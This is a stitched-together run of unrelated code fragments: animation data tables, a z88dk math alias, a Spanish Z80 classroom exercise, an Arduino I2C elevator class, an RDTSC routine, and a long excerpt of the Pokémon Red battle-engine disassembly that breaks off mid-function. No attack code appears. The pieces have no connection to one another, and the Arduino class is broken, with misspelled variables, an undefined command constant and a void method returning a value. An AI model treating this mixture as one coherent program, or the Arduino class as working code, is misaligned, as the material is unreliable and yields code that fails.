$C4, 7, 8, 0, $F8 dc.b $1C, 7, 8, 0, $F8 @open: dc.b 2 dc.b $C0, 7, 8, 0, $F8 ; door fully open dc.b $20, 7, 8, 0, $F8 even
SECTION code_fp_math48 PUBLIC asm_fma EXTERN am48_fma defc asm_fma = am48_fma
; Ejercicio 12 del TP 12. ; Incrementea el contenido de la posicion 1900h ; hasta que se active el flag de carry aseg org 1850h start: ld A, (1900h) sigue: inc A jp NC,sigue rst 38h end start
class Coms() { const byte cmd_clear_address = 30; const byte cmd_read_sensor = 31; const byte flag_unknown_address =250; const byte flag_unknown_position = 251; Coms::Coms(byte floors, byte sdaPin, byte sclPin) { byte noOfFloors = floors; byte addressCounter = noOfFloors + 8; pinMode(sdaPin, OUTPUT); pinMode(sclkPin, OUTPUT); digitalWrite(sdaPin, LOW); digitalWrite(sclPin, LOW); } void Coms::start(){ Serial.begin(9600); Wire.begin(); } void Coms::setAddress(byte address) { Wire.beginTransmission(address); Wire.write(cmd_clear_address); Wire.write(addressCounter); addressCounter--; if (addressCounter == 8) { addressCounter += noOfFloors; } return; } byte Coms::scanAddresses() { for (address = 20; address < noOfFloors+20; adress++) { Wire.beginTransmission(address); exitCode = Wire.endTransmission(); if (exitCode == 0) { return address; } else if (exitCode == 4) { return flag_unknown_address; } } } byte Coms::requestPosition() { for (address = 8; address < noOfFloors+8; address++) { Wire.beginTransmission(address); Wire.write(cmd_read_sensor); Wire.endTransmission(); Wire.requestFrom(address, 1); boolean positionFound = Wire.read(); if (positionFound) { return address- 8; } } return flag_unknow_position; } void Coms::announcePosition(byte position) { for (address = 8; address < noOfFloors+8; address++) { Wire.beginTransmission(address); Wire.write(cmd_set_display); Wire.write(position); Wire.endTransmission(); } return; } void Coms::getSensorState(byte floor) { byte address = floor + 8; Wire.beginTransmission(address); Wire.write(cmd_read_sensor); Wire.endTransmission(); Wire.requestFrom(address, 1); boolean sensor_state = Wire.read(); return sensor_state; } }
frame 1, 08 frame 2, 08 frame 3, 08 frame 4, 08 frame 0, 05 frame 1, 05 frame 2, 05 frame 3, 05 frame 4, 05 endanim
;This is a cleanroom recreation of Agner Fog's ReadTSC function. See http://agner.org for futher information! ;Copyright (c) 2008 Uli Koehler ;Compatible with nasm: http://nasm.sourceforge.net section .txt global _ReadTSC _ReadTSC: rdtsc ;Read timestep counter ret
BattleCore: ; These are move effects (second value from the Moves table in bank $E). ResidualEffects1: ; most non-side effects db CONVERSION_EFFECT db HAZE_EFFECT db SWITCH_AND_TELEPORT_EFFECT db MIST_EFFECT db FOCUS_ENERGY_EFFECT db CONFUSION_EFFECT db HEAL_EFFECT db TRANSFORM_EFFECT db LIGHT_SCREEN_EFFECT db REFLECT_EFFECT db POISON_EFFECT db PARALYZE_EFFECT db SUBSTITUTE_EFFECT db MIMIC_EFFECT db LEECH_SEED_EFFECT db SPLASH_EFFECT db -1 SetDamageEffects: ; moves that do damage but not through normal calculations ; e.g., Super Fang, Psywave db SUPER_FANG_EFFECT db SPECIAL_DAMAGE_EFFECT db -1 ResidualEffects2: ; non-side effects not included in ResidualEffects1 ; stat-affecting moves, sleep-inflicting moves, and Bide ; e.g., Meditate, Bide, Hypnosis db $01 db ATTACK_UP1_EFFECT db DEFENSE_UP1_EFFECT db SPEED_UP1_EFFECT db SPECIAL_UP1_EFFECT db ACCURACY_UP1_EFFECT db EVASION_UP1_EFFECT db ATTACK_DOWN1_EFFECT db DEFENSE_DOWN1_EFFECT db SPEED_DOWN1_EFFECT db SPECIAL_DOWN1_EFFECT db ACCURACY_DOWN1_EFFECT db EVASION_DOWN1_EFFECT db BIDE_EFFECT db SLEEP_EFFECT db ATTACK_UP2_EFFECT db DEFENSE_UP2_EFFECT db SPEED_UP2_EFFECT db SPECIAL_UP2_EFFECT db ACCURACY_UP2_EFFECT db EVASION_UP2_EFFECT db ATTACK_DOWN2_EFFECT db DEFENSE_DOWN2_EFFECT db SPEED_DOWN2_EFFECT db SPECIAL_DOWN2_EFFECT db ACCURACY_DOWN2_EFFECT db EVASION_DOWN2_EFFECT db -1 AlwaysHappenSideEffects: ; Attacks that aren't finished after they faint the opponent. db DRAIN_HP_EFFECT db EXPLODE_EFFECT db DREAM_EATER_EFFECT db PAY_DAY_EFFECT db TWO_TO_FIVE_ATTACKS_EFFECT db $1E db ATTACK_TWICE_EFFECT db RECOIL_EFFECT db TWINEEDLE_EFFECT db RAGE_EFFECT db -1 SpecialEffects: ; Effects from arrays 2, 4, and 5B, minus Twineedle and Rage. ; Includes all effects that do not need to be called at the end of ; ExecutePlayerMove (or ExecuteEnemyMove), because they have already been handled db DRAIN_HP_EFFECT db EXPLODE_EFFECT db DREAM_EATER_EFFECT db PAY_DAY_EFFECT db SWIFT_EFFECT db TWO_TO_FIVE_ATTACKS_EFFECT db $1E db CHARGE_EFFECT db SUPER_FANG_EFFECT db SPECIAL_DAMAGE_EFFECT db FLY_EFFECT db ATTACK_TWICE_EFFECT db JUMP_KICK_EFFECT db RECOIL_EFFECT ; fallthrough to Next EffectsArray SpecialEffectsCont: ; damaging moves whose effect is executed prior to damage calculation db THRASH_PETAL_DANCE_EFFECT db TRAPPING_EFFECT db -1 SlidePlayerAndEnemySilhouettesOnScreen: call LoadPlayerBackPic ld a, MESSAGE_BOX ; the usual text box at the bottom of the screen ld [wTextBoxID], a call DisplayTextBoxID coord hl, 1, 5 lb bc, 3, 7 call ClearScreenArea call DisableLCD call LoadFontTilePatterns call LoadHudAndHpBarAndStatusTilePatterns ld hl, vBGMap0 ld bc, $400 .clearBackgroundLoop ld a, " " ld [hli], a dec bc ld a, b or c jr nz, .clearBackgroundLoop ; copy the work RAM tile map to VRAM coord hl, 0, 0 ld de, vBGMap0 ld b, 18 ; number of rows .copyRowLoop ld c, 20 ; number of columns .copyColumnLoop ld a, [hli] ld [de], a inc e dec c jr nz, .copyColumnLoop ld a, 12 ; number of off screen tiles to the right of screen in VRAM add e ; skip the off screen tiles ld e, a jr nc, .noCarry inc d .noCarry dec b jr nz, .copyRowLoop call EnableLCD ld a, $90 ld [hWY], a ld [rWY], a xor a ld [hTilesetType], a ld [hSCY], a dec a ld [wUpdateSpritesEnabled], a call Delay3 xor a ld [H_AUTOBGTRANSFERENABLED], a ld b, $70 ld c, $90 ld a, c ld [hSCX], a call DelayFrame ld a, %11100100 ; inverted palette for silhouette effect ld [rBGP], a ld [rOBP0], a ld [rOBP1], a .slideSilhouettesLoop ; slide silhouettes of the player's pic and the enemy's pic onto the screen ld h, b ld l, $40 call SetScrollXForSlidingPlayerBodyLeft ; begin background scrolling on line $40 inc b inc b ld h, $0 ld l, $60 call SetScrollXForSlidingPlayerBodyLeft ; end background scrolling on line $60 call SlidePlayerHeadLeft ld a, c ld [hSCX], a dec c dec c jr nz, .slideSilhouettesLoop ld a, $1 ld [H_AUTOBGTRANSFERENABLED], a ld a, $31 ld [hStartTileID], a coord hl, 1, 5 predef CopyUncompressedPicToTilemap xor a ld [hWY], a ld [rWY], a inc a ld [H_AUTOBGTRANSFERENABLED], a call Delay3 ld b, SET_PAL_BATTLE call RunPaletteCommand call HideSprites jpab PrintBeginningBattleText ; when a battle is starting, silhouettes of the player's pic and the enemy's pic are slid onto the screen ; the lower of the player's pic (his body) is part of the background, but his head is a sprite ; the reason for this is that it shares Y coordinates with the lower part of the enemy pic, so background scrolling wouldn't work for both pics ; instead, the enemy pic is part of the background and uses the scroll register, while the player's head is a sprite and is slid by changing its X coordinates in a loop SlidePlayerHeadLeft: push bc ld hl, wOAMBuffer + $01 ld c, $15 ; number of OAM entries ld de, $4 ; size of OAM entry .loop dec [hl] ; decrement X dec [hl] ; decrement X add hl, de ; next OAM entry dec c jr nz, .loop pop bc ret SetScrollXForSlidingPlayerBodyLeft: ld a, [rLY] cp l jr nz, SetScrollXForSlidingPlayerBodyLeft ld a, h ld [rSCX], a .loop ld a, [rLY] cp h jr z, .loop ret StartBattle: xor a ld [wPartyGainExpFlags], a ld [wPartyFoughtCurrentEnemyFlags], a ld [wActionResultOrTookBattleTurn], a inc a ld [wFirstMonsNotOutYet], a ld hl, wEnemyMon1HP ld bc, wEnemyMon2 - wEnemyMon1 - 1 ld d, $3 .findFirstAliveEnemyMonLoop inc d ld a, [hli] or [hl] jr nz, .foundFirstAliveEnemyMon add hl, bc jr .findFirstAliveEnemyMonLoop .foundFirstAliveEnemyMon ld a, d ld [wSerialExchangeNybbleReceiveData], a ld a, [wIsInBattle] dec a ; is it a trainer battle? call nz, EnemySendOutFirstMon ; if it is a trainer battle, send out enemy mon ld c, 40 call DelayFrames call SaveScreenTilesToBuffer1 .checkAnyPartyAlive call AnyPartyAlive ld a, d and a jp z, HandlePlayerBlackOut ; jump if no mon is alive call LoadScreenTilesFromBuffer1 ld a, [wBattleType] and a ; is it a normal battle? jp z, .playerSendOutFirstMon ; if so, send out player mon ; safari zone battle .displaySafariZoneBattleMenu call DisplayBattleMenu ret c ; return if the player ran from battle ld a, [wActionResultOrTookBattleTurn] and a ; was the item used successfully? jr z, .displaySafariZoneBattleMenu ; if not, display the menu again; XXX does this ever jump? ld a, [wNumSafariBalls] and a jr nz, .notOutOfSafariBalls call LoadScreenTilesFromBuffer1 ld hl, .outOfSafariBallsText jp PrintText .notOutOfSafariBalls callab PrintSafariZoneBattleText ld a, [wEnemyMonSpeed + 1] add a ld b, a ; init b (which is later compared with random value) to (enemy speed % 256) * 2 jp c, EnemyRan ; if (enemy speed % 256) > 127, the enemy runs ld a, [wSafariBaitFactor] and a ; is bait factor 0? jr z, .checkEscapeFactor ; bait factor is not 0 ; divide b by 4 (making the mon less likely to run) srl b srl b .checkEscapeFactor ld a, [wSafariEscapeFactor] and a ; is escape factor 0? jr z, .compareWithRandomValue ; escape factor is not 0 ; multiply b by 2 (making the mon more likely to run) sla b jr nc, .compareWithRandomValue ; cap b at 255 ld b, $ff .compareWithRandomValue call Random cp b jr nc, .checkAnyPartyAlive jr EnemyRan ; if b was greater than the random value, the enemy runs .outOfSafariBallsText TX_FAR _OutOfSafariBallsText db "@" .playerSendOutFirstMon xor a ld [wWhichPokemon], a .findFirstAliveMonLoop call HasMonFainted jr nz, .foundFirstAliveMon ; fainted, go to the next one ld hl, wWhichPokemon inc [hl] jr .findFirstAliveMonLoop .foundFirstAliveMon ld a, [wWhichPokemon] ld [wPlayerMonNumber], a inc a ld hl, wPartySpecies - 1 ld c, a ld b, 0 add hl, bc ld a, [hl] ; species ld [wcf91], a ld [wBattleMonSpecies2], a call LoadScreenTilesFromBuffer1 coord hl, 1, 5 ld a, $9 call SlideTrainerPicOffScreen call SaveScreenTilesToBuffer1 ld a, [wWhichPokemon] ld c, a ld b, FLAG_SET push bc ld hl, wPartyGainExpFlags predef FlagActionPredef ld hl, wPartyFoughtCurrentEnemyFlags pop bc predef FlagActionPredef call LoadBattleMonFromParty call LoadScreenTilesFromBuffer1 call SendOutMon jr MainInBattleLoop ; wild mon or link battle enemy ran from battle EnemyRan: call LoadScreenTilesFromBuffer1 ld a, [wLinkState] cp LINK_STATE_BATTLING ld hl, WildRanText jr nz, .printText ; link battle xor a ld [wBattleResult], a ld hl, EnemyRanText .printText call PrintText ld a, SFX_RUN call PlaySoundWaitForCurrent xor a ld [H_WHOSETURN], a jpab AnimationSlideEnemyMonOff WildRanText: TX_FAR _WildRanText db "@" EnemyRanText: TX_FAR _EnemyRanText db "@" MainInBattleLoop: call ReadPlayerMonCurHPAndStatus ld hl, wBattleMonHP ld a, [hli] or [hl] ; is battle mon HP 0? jp z, HandlePlayerMonFainted ; if battle mon HP is 0, jump ld hl, wEnemyMonHP ld a, [hli] or [hl] ; is enemy mon HP 0? jp z, HandleEnemyMonFainted ; if enemy mon HP is 0, jump call SaveScreenTilesToBuffer1 xor a ld [wFirstMonsNotOutYet], a ld a, [wPlayerBattleStatus2] and (1 << NEEDS_TO_RECHARGE) | (1 << USING_RAGE) ; check if the player is using Rage or needs to recharge jr nz, .selectEnemyMove ; the player is not using Rage and doesn't need to recharge ld hl, wEnemyBattleStatus1 res FLINCHED, [hl] ; reset flinch bit ld hl, wPlayerBattleStatus1 res FLINCHED, [hl] ; reset flinch bit ld a, [hl] and (1 << THRASHING_ABOUT) | (1 << CHARGING_UP) ; check if the player is thrashing about or charging for an attack jr nz, .selectEnemyMove ; if so, jump ; the player is neither thrashing about nor charging for an attack call DisplayBattleMenu ; show battle menu ret c ; return if player ran from battle ld a, [wEscapedFromBattle] and a ret nz ; return if pokedoll was used to escape from battle ld a, [wBattleMonStatus] and (1 << FRZ) | SLP ; is mon frozen or asleep? jr nz, .selectEnemyMove ; if so, jump ld a, [wPlayerBattleStatus1] and (1 << STORING_ENERGY) | (1 << USING_TRAPPING_MOVE) ; check player is using Bide or using a multi-turn attack like wrap jr nz, .selectEnemyMove ; if so, jump ld a, [wEnemyBattleStatus1] bit USING_TRAPPING_MOVE, a ; check if enemy is using a multi-turn attack like wrap jr z, .selectPlayerMove ; if not, jump ; enemy is using a multi-turn attack like wrap, so player is trapped and cannot execute a move ld a, $ff ld [wPlayerSelectedMove], a jr .selectEnemyMove .selectPlayerMove ld a, [wActionResultOrTookBattleTurn] and a ; has the player already used the turn (e.g. by using an item, trying to run or switching pokemon) jr nz, .selectEnemyMove ld [wMoveMenuType], a inc a ld [wAnimationID], a xor a ld [wMenuItemToSwap], a call MoveSelectionMenu push af call LoadScreenTilesFromBuffer1 call DrawHUDsAndHPBars pop af jr nz, MainInBattleLoop ; if the player didn't select a move, jump .selectEnemyMove call SelectEnemyMove ld a, [wLinkState] cp LINK_STATE_BATTLING jr nz, .noLinkBattle ; link battle ld a, [wSerialExchangeNybbleReceiveData] cp LINKBATTLE_RUN jp z, EnemyRan cp LINKBATTLE_STRUGGLE jr z, .noLinkBattle cp LINKBATTLE_NO_ACTION jr z, .noLinkBattle sub 4 jr c, .noLinkBattle ; the link battle enemy has switched mons ld a, [wPlayerBattleStatus1] bit USING_TRAPPING_MOVE, a ; check if using multi-turn move like Wrap jr z, .specialMoveNotUsed ld a, [wPlayerMoveListIndex] ld hl, wBattleMonMoves ld c, a ld b, 0 add hl, bc ld a, [hl] cp METRONOME ; a MIRROR MOVE check is missing, might lead to a desync in link battles ; when combined with multi-turn moves jr nz, .specialMoveNotUsed ld [wPlayerSelectedMove], a .specialMoveNotUsed callab SwitchEnemyMon .noLinkBattle ld a, [wPlayerSelectedMove] cp QUICK_ATTACK jr nz, .playerDidNotUseQuickAttack ld a, [wEnemySelectedMove] cp QUICK_ATTACK jr z, .compareSpeed ; if both used Quick Attack jp .playerMovesFirst ; if player used Quick Attack and enemy didn't .playerDidNotUseQuickAttack ld a, [wEnemySelectedMove] cp QUICK_ATTACK jr z, .enemyMovesFirst ; if enemy used Quick Attack and player didn't ld a, [wPlayerSelectedMove] cp COUNTER jr nz, .playerDidNotUseCounter ld a, [wEnemySelectedMove] cp COUNTER jr z, .compareSpeed ; if both used Counter jr .enemyMovesFirst ; if player used Counter and enemy didn't .playerDidNotUseCounter ld a, [wEnemySelectedMove] cp COUNTER jr z, .playerMovesFirst ; if enemy used Counter and player didn't .compareSpeed ld de, wBattleMonSpeed ; player speed value ld hl, wEnemyMonSpeed ; enemy speed value ld c, $2 call StringCmp ; compare speed values jr z, .speedEqual jr nc, .playerMovesFirst ; if player is faster jr .enemyMovesFirst ; if enemy is faster .speedEqual ; 50/50 chance for both players ld a, [hSerialConnectionStatus] cp USING_INTERNAL_CLOCK jr z, .invertOutcome call BattleRandom cp $80 jr c, .playerMovesFirst jr .enemyMovesFirst .invertOutcome call BattleRandom cp $80 jr c, .enemyMovesFirst jr .playerMovesFirst .enemyMovesFirst ld a, $1 ld [H_WHOSETURN], a callab TrainerAI jr c, .AIActionUsedEnemyFirst call ExecuteEnemyMove ld a, [wEscapedFromBattle] and a ; was Teleport, Road, or Whirlwind used to escape from battle? ret nz ; if so, return ld a, b and a jp z, HandlePlayerMonFainted .AIActionUsedEnemyFirst call HandlePoisonBurnLeechSeed jp z, HandleEnemyMonFainted call DrawHUDsAndHPBars call ExecutePlayerMove ld a, [wEscapedFromBattle] and a ; was Teleport, Road, or Whirlwind used to escape from battle? ret nz ; if so, return ld a, b and a jp z, HandleEnemyMonFainted call HandlePoisonBurnLeechSeed jp z, HandlePlayerMonFainted call DrawHUDsAndHPBars call CheckNumAttacksLeft jp MainInBattleLoop .playerMovesFirst call ExecutePlayerMove ld a, [wEscapedFromBattle] and a ; was Teleport, Road, or Whirlwind used to escape from battle? ret nz ; if so, return ld a, b and a jp z, HandleEnemyMonFainted call HandlePoisonBurnLeechSeed jp z, HandlePlayerMonFainted call DrawHUDsAndHPBars ld a, $1 ld [H_WHOSETURN], a callab TrainerAI jr c, .AIActionUsedPlayerFirst call ExecuteEnemyMove ld a, [wEscapedFromBattle] and a ; was Teleport, Road, or Whirlwind used to escape from battle? ret nz ; if so, return ld a, b and a jp z, HandlePlayerMonFainted .AIActionUsedPlayerFirst call HandlePoisonBurnLeechSeed jp z, HandleEnemyMonFainted call DrawHUDsAndHPBars call CheckNumAttacksLeft jp MainInBattleLoop HandlePoisonBurnLeechSeed: ld hl, wBattleMonHP ld de, wBattleMonStatus ld a, [H_WHOSETURN] and a jr z, .playersTurn ld hl, wEnemyMonHP ld de, wEnemyMonStatus .playersTurn ld a, [de] and (1 << BRN) | (1 << PSN) jr z, .notBurnedOrPoisoned push hl ld hl, HurtByPoisonText ld a, [de] and 1 << BRN jr z, .poisoned ld hl, HurtByBurnText .poisoned call PrintText xor a ld [wAnimationType], a ld a, BURN_PSN_ANIM call PlayMoveAnimation ; play burn/poison animation pop hl call HandlePoisonBurnLeechSeed_DecreaseOwnHP .notBurnedOrPoisoned ld de, wPlayerBattleStatus2 ld a, [H_WHOSETURN] and a jr z, .playersTurn2 ld de, wEnemyBattleStatus2 .playersTurn2 ld a, [de] add a jr nc, .notLeechSeeded push hl ld a, [H_WHOSETURN] push af xor $1 ld [H_WHOSETURN], a xor a ld [wAnimationType], a ld a, ABSORB call PlayMoveAnimation ; play leech seed animation (from opposing mon) pop af ld [H_WHOSETURN], a pop hl call HandlePoisonBurnLeechSeed_DecreaseOwnHP call HandlePoisonBurnLeechSeed_IncreaseEnemyHP push hl ld hl, HurtByLeechSeedText call PrintText pop hl .notLeechSeeded ld a, [hli] or [hl] ret nz ; test if fainted call DrawHUDsAndHPBars ld c, 20 call DelayFrames xor a ret HurtByPoisonText: TX_FAR _HurtByPoisonText db "@" HurtByBurnText: TX_FAR _HurtByBurnText db "@" HurtByLeechSeedText: TX_FAR _HurtByLeechSeedText db "@" ; decreases the mon's current HP by 1/16 of the Max HP (multiplied by number of toxic ticks if active) ; note that the toxic ticks are considered even if the damage is not poison (hence the Leech Seed glitch) ; hl: HP pointer ; bc (out): total damage HandlePoisonBurnLeechSeed_DecreaseOwnHP: push hl push hl ld bc, $e ; skip to max HP add hl, bc ld a, [hli] ; load max HP ld [wHPBarMaxHP+1], a ld b, a ld a, [hl] ld [wHPBarMaxHP], a ld c, a srl b rr c srl b rr c srl c srl c ; c = max HP/16 (assumption: HP < 1024) ld a, c and a jr nz, .nonZeroDamage inc c ; damage is at least 1 .nonZeroDamage ld hl, wPlayerBattleStatus3 ld de, wPlayerToxicCounter ld a, [H_WHOSETURN] and a jr z, .playersTurn ld hl, wEnemyBattleStatus3 ld de, wEnemyToxicCounter .playersTurn bit BADLY_POISONED, [hl] jr z, .noToxic ld a, [de] ; increment toxic counter inc a ld [de], a ld hl, $0000 .toxicTicksLoop add hl, bc dec a jr nz, .toxicTicksLoop ld b, h ; bc = damage * toxic counter ld c, l .noToxic pop hl inc hl ld a, [hl] ; subtract total damage from current HP ld [wHPBarOldHP], a sub c ld [hld], a ld [wHPBarNewHP], a ld a, [hl] ld [wHPBarOldHP+1], a sbc b ld [hl], a ld [wHPBarNewHP+1], a jr nc, .noOverkill xor a ; overkill: zero HP ld [hli], a ld [hl], a ld [wHPBarNewHP], a ld [wHPBarNewHP+1], a .noOverkill call UpdateCurMonHPBar pop hl ret ; adds bc to enemy HP ; bc isn't updated if HP subtracted was capped to prevent overkill HandlePoisonBurnLeechSeed_IncreaseEnemyHP: push hl ld hl, wEnemyMonMaxHP ld a, [H_WHOSETURN] and a jr z, .playersTurn ld hl, wBattleMonMaxHP .playersTurn ld a, [hli] ld [wHPBarMaxHP+1], a ld a, [hl] ld [wHPBarMaxHP], a ld de, wBattleMonHP - wBattleMonMaxHP add hl, de ; skip back from max hp to current hp ld a, [hl] ld [wHPBarOldHP], a ; add bc to current HP add c ld [hld], a ld [wHPBarNewHP], a ld a, [hl] ld [wHPBarOldHP+1], a adc b ld [hli], a ld [wHPBarNewHP+1], a ld a, [wHPBarMaxHP] ld c, a ld a, [hld] sub c ld a, [wHPBarMaxHP+1] ld b, a ld a, [hl] sbc b jr c, .noOverfullHeal ld a, b ; overfull heal, set HP to max HP ld [hli], a ld [wHPBarNewHP+1], a ld a, c ld [hl], a ld [wHPBarNewHP], a .noOverfullHeal ld a, [H_WHOSETURN] xor $1 ld [H_WHOSETURN], a call UpdateCurMonHPBar ld a, [H_WHOSETURN] xor $1 ld [H_WHOSETURN], a pop hl ret UpdateCurMonHPBar: coord hl, 10, 9 ; tile pointer to player HP bar ld a, [H_WHOSETURN] and a ld a, $1 jr z, .playersTurn coord hl, 2, 2 ; tile pointer to enemy HP bar xor a .playersTurn push bc ld [wHPBarType], a predef UpdateHPBar2 pop bc ret CheckNumAttacksLeft: ld a, [wPlayerNumAttacksLeft] and a jr nz, .checkEnemy ; player has 0 attacks left ld hl, wPlayerBattleStatus1 res USING_TRAPPING_MOVE, [hl] ; player not using multi-turn attack like wrap any more .checkEnemy ld a, [wEnemyNumAttacksLeft] and a ret nz ; enemy has 0 attacks left ld hl, wEnemyBattleStatus1 res USING_TRAPPING_MOVE, [hl] ; enemy not using multi-turn attack like wrap any more ret HandleEnemyMonFainted: xor a ld [wInHandlePlayerMonFainted], a call FaintEnemyPokemon call AnyPartyAlive ld a, d and a jp z, HandlePlayerBlackOut ; if no party mons are alive, the player blacks out ld hl, wBattleMonHP ld a, [hli] or [hl] ; is battle mon HP zero? call nz, DrawPlayerHUDAndHPBar ; if battle mon HP is not zero, draw player HD and HP bar ld a, [wIsInBattle] dec a ret z ; return if it's a wild battle call AnyEnemyPokemonAliveCheck jp z, TrainerBattleVictory ld hl, wBattleMonHP ld a, [hli] or [hl] ; does battle mon have 0 HP? jr nz, .skipReplacingBattleMon ; if not, skip replacing battle mon call DoUseNextMonDialogue ; this call is useless in a trainer battle. it shouldn't be here ret c call ChooseNextMon .skipReplacingBattleMon ld a, $1 ld [wActionResultOrTookBattleTurn], a call ReplaceFaintedEnemyMon jp z, EnemyRan xor a ld [wActionResultOrTookBattleTurn], a jp MainInBattleLoop FaintEnemyPokemon: call ReadPlayerMonCurHPAndStatus ld a, [wIsInBattle] dec a jr z, .wild ld a, [wEnemyMonPartyPos] ld hl, wEnemyMon1HP ld bc, wEnemyMon2 - wEnemyMon1 call AddNTimes xor a ld [hli], a ld [hl], a .wild ld hl, wPlayerBattleStatus1 res ATTACKING_MULTIPLE_TIMES, [hl] ; Bug. This only zeroes the high byte of the player's accumulated damage, ; setting the accumulated damage to itself mod 256 instead of 0 as was probably ; intended. That alone is problematic, but this mistake has another more severe ; effect. This function's counterpart for when the player mon faints, ; RemoveFaintedPlayerMon, zeroes both the high byte and the low byte. In a link ; battle, the other player's Game Boy will call that function in response to ; the enemy mon (the player mon from the other side's perspective) fainting, ; and the states of the two Game Boys will go out of sync unless the damage ; was congruent to 0 modulo 256. xor a ld [wPlayerBideAccumulatedDamage], a ld hl, wEnemyStatsToDouble ; clear enemy statuses ld [hli], a ld [hli], a ld [hli], a ld [hli], a ld [hl], a ld [wEnemyDisabledMove], a ld [wEnemyDisabledMoveNumber], a ld [wEnemyMonMinimized], a ld hl, wPlayerUsedMove ld [hli], a ld [hl], a coord hl, 12, 5 coord de, 12, 6 call SlideDownFaintedMonPic coord hl, 0, 0 lb bc, 4, 11 call ClearScreenArea ld a, [wIsInBattle] dec a jr z, .wild_win xor a ld [wFrequencyModifier], a ld [wTempoModifier], a ld a, SFX_FAINT_FALL call PlaySoundWaitForCurrent .sfxwait ld a, [wChannelSoundIDs + Ch4] cp SFX_FAINT_FALL jr z, .sfxwait ld a, SFX_FAINT_THUD call PlaySound call WaitForSoundToFinish jr .sfxplayed .wild_win call EndLowHealthAlarm ld a, MUSIC_DEFEATED_WILD_MON call PlayBattleVictoryMusic .sfxplayed ; bug: win sfx is played for wild battles before checking for player mon HP ; this can lead to odd scenarios where both player and enemy faint, as the win sfx plays yet the player never won the battle ld hl, wBattleMonHP ld a, [hli] or [hl] jr nz, .playermonnotfaint ld a, [wInHandlePlayerMonFainted] and a ; was this called by HandlePlayerMonFainted? jr nz, .playermonnotfaint ; if so, don't call RemoveFaintedPlayerMon twice call RemoveFaintedPlayerMon .playermonnotfaint call AnyPartyAlive ld a, d and a ret z ld hl, EnemyMonFaintedText call PrintText call PrintEmptyString call SaveScreenTilesToBuffer1 xor a ld [wBattleResult], a ld b, EXP_ALL call IsItemInBag push af jr z, .giveExpToMonsThatFought ; if no exp all, then jump ; the player has exp all ; first, we halve the values that determine exp gain ; the enemy mon base stats are added to stat exp, so they are halved ; the base exp (which determines normal exp) is also halved ld hl, wEnemyMonBaseStats ld b, $7 .halveExpDataLoop srl [hl] inc hl dec b jr nz, .halveExpDataLoop ; give exp (divided evenly) to the mons that actually fought in battle against the enemy mon that has fainted ; if exp all is in the bag, this will be only be half of the stat exp and normal exp, due to the above loop .giveExpToMonsThatFought xor a ld [wBoostExpByExpAll], a callab GainExperience pop af ret z ; return if no exp all ; the player has exp all ; now, set the gain exp flag for every party member ; half of the total stat exp and normal exp will divided evenly amongst every party member ld a, $1 ld [wBoostExpByExpAll], a ld a, [wPartyCount] ld b, 0 .gainExpFlagsLoop scf rl b dec a jr nz, .gainExpFlagsLoop ld a, b ld [wPartyGainExpFlags], a jpab GainExperience EnemyMonFaintedText: TX_FAR _EnemyMonFaintedText db "@" EndLowHealthAlarm: ; This function is called when the player has the won the battle. It turns off ; the low health alarm and prevents it from reactivating until the next battle. xor a ld [wLowHealthAlarm], a ; turn off low health alarm ld [wChannelSoundIDs + Ch4], a inc a ld [wLowHealthAlarmDisabled], a ; prevent it from reactivating ret AnyEnemyPokemonAliveCheck: ld a, [wEnemyPartyCount] ld b, a xor a ld hl, wEnemyMon1HP ld de, wEnemyMon2 - wEnemyMon1 .nextPokemon or [hl] inc hl or [hl] dec hl add hl, de dec b jr nz, .nextPokemon and a ret ; stores whether enemy ran in Z flag ReplaceFaintedEnemyMon: ld hl, wEnemyHPBarColor ld e, $30 call GetBattleHealthBarColor callab DrawEnemyPokeballs ld a, [wLinkState] cp LINK_STATE_BATTLING jr nz, .notLinkBattle ; link battle call LinkBattleExchangeData ld a, [wSerialExchangeNybbleReceiveData] cp LINKBATTLE_RUN ret z call LoadScreenTilesFromBuffer1 .notLinkBattle call EnemySendOut xor a ld [wEnemyMoveNum], a ld [wActionResultOrTookBattleTurn], a ld [wAILayer2Encouragement], a inc a ; reset Z flag ret TrainerBattleVictory: call EndLowHealthAlarm ld b, MUSIC_DEFEATED_GYM_LEADER ld a, [wGymLeaderNo] and a jr nz, .gymleader ld b, MUSIC_DEFEATED_TRAINER .gymleader ld a, [wTrainerClass] cp SONY3 ; final battle against rival jr nz, .notrival ld b, MUSIC_DEFEATED_GYM_LEADER ld hl, wFlags_D733 set 1, [hl] .notrival ld a, [wLinkState] cp LINK_STATE_BATTLING ld a, b call nz, PlayBattleVictoryMusic ld hl, TrainerDefeatedText call PrintText ld a, [wLinkState] cp LINK_STATE_BATTLING ret z call ScrollTrainerPicAfterBattle ld c, 40 call DelayFrames call PrintEndBattleText ; win money ld hl, MoneyForWinningText call PrintText ld de, wPlayerMoney + 2 ld hl, wAmountMoneyWon + 2 ld c, $3 predef_jump AddBCDPredef MoneyForWinningText: TX_FAR _MoneyForWinningText db "@" TrainerDefeatedText: TX_FAR _TrainerDefeatedText db "@" PlayBattleVictoryMusic: push af ld a, $ff ld [wNewSoundID], a call PlaySoundWaitForCurrent ld c, BANK(Music_DefeatedTrainer) pop af call PlayMusic jp Delay3 HandlePlayerMonFainted: ld a, 1 ld [wInHandlePlayerMonFainted], a call RemoveFaintedPlayerMon call AnyPartyAlive ; test if any more mons are alive ld a, d and a jp z, HandlePlayerBlackOut ld hl, wEnemyMonHP ld a, [hli] or [hl] ; is enemy mon's HP 0? jr nz, .doUseNextMonDialogue ; if not, jump ; the enemy mon has 0 HP call FaintEnemyPokemon ld a, [wIsInBattle] dec a ret z ; if wild encounter, battle is over call AnyEnemyPokemonAliveCheck jp z, TrainerBattleVictory .doUseNextMonDialogue call DoUseNextMonDialogue ret c ; return if the player ran from battle call ChooseNextMon jp nz, MainInBattleLoop ; if the enemy mon has more than 0 HP, go back to battle loop ; the enemy mon has 0 HP ld a, $1 ld [wActionResultOrTookBattleTurn], a call ReplaceFaintedEnemyMon jp z, EnemyRan ; if enemy ran from battle rather than sending out another mon, jump xor a ld [wActionResultOrTookBattleTurn], a jp MainInBattleLoop ; resets flags, slides mon's pic down, plays cry, and prints fainted message RemoveFaintedPlayerMon: ld a, [wPlayerMonNumber] ld c, a ld hl, wPartyGainExpFlags ld b, FLAG_RESET predef FlagActionPredef ; clear gain exp flag for fainted mon ld hl, wEnemyBattleStatus1 res 2, [hl] ; reset "attacking multiple times" flag ld a, [wLowHealthAlarm] bit 7, a ; skip sound flag (red bar (?)) jr z, .skipWaitForSound ld a, $ff ld [wLowHealthAlarm], a ;disable low health alarm call WaitForSoundToFinish .skipWaitForSound ; a is 0, so this zeroes the enemy's accumulated damage. 